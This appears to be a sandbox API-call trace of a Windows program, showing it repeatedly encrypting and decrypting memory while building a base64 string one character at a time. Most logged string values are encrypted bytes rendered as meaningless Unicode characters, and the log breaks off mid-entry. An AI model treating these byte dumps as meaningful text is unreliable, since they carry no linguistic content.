(param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0248.122] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.122] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0248.122] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.123] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0248.123] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0248.123] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.123] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0248.123] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.186] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0248.186] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0248.186] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.186] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0248.186] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.186] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0248.186] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0248.186] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.186] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0248.186] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.187] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0248.187] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0248.187] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.187] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0248.187] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.187] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0248.187] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0248.187] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.187] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0248.187] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.187] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0248.187] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0248.187] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.188] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0248.188] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.188] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0248.188] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0248.188] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.188] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0248.188] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0248.188] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0248.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0248.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0248.189] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0248.189] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.189] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0248.189] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0248.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0248.190] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.190] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0248.190] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0248.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0248.190] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.190] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0248.190] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0248.190] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0248.191] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.191] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0248.191] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.191] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0248.191] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0248.191] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.191] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0248.191] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.191] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0248.191] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0248.191] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.191] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0248.192] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.192] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0248.192] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0248.192] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.192] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0248.192] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.192] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0248.192] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0248.192] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.192] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0248.192] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0248.192] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0248.193] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0248.193] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0248.193] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0248.193] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.194] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0248.194] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.194] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0248.194] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0248.194] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.194] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0248.194] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.194] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0248.194] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0248.194] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.194] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0248.194] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.195] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0248.195] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0248.195] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.195] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0248.195] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.195] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0248.195] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0248.195] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.195] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0248.195] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.195] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0248.196] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0248.196] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.196] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0248.196] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.196] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0248.196] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0248.196] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.196] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0248.196] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.196] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0248.196] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0248.196] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.197] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0248.197] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0248.197] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0248.197] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0248.197] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0248.198] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0248.198] SystemFunction041 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.198] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0248.198] SystemFunction040 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.198] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0248.198] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0248.198] SystemFunction041 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.198] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0248.198] SystemFunction040 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.198] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0248.198] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0248.198] SystemFunction041 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.199] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0248.199] SystemFunction040 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0248.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0248.199] SystemFunction041 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.199] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0248.199] SystemFunction040 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0248.199] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0248.199] SystemFunction041 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.199] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0248.199] SystemFunction040 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.200] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0248.200] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0248.200] SystemFunction041 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.200] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0248.200] SystemFunction040 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.200] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0248.200] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0248.200] SystemFunction041 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.200] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0248.200] SystemFunction040 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.200] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0248.200] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0248.201] SystemFunction041 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.201] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0248.201] SystemFunction040 (in: Memory=0x3af15c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af15c) returned 0x0 [0248.201] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0248.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0248.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0248.202] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0248.202] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0248.202] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0248.202] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0248.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0248.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0248.203] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0248.203] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0248.203] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0248.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0248.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0248.203] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0248.203] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0248.203] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0248.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0248.203] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0248.203] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0248.204] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0248.204] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0248.204] 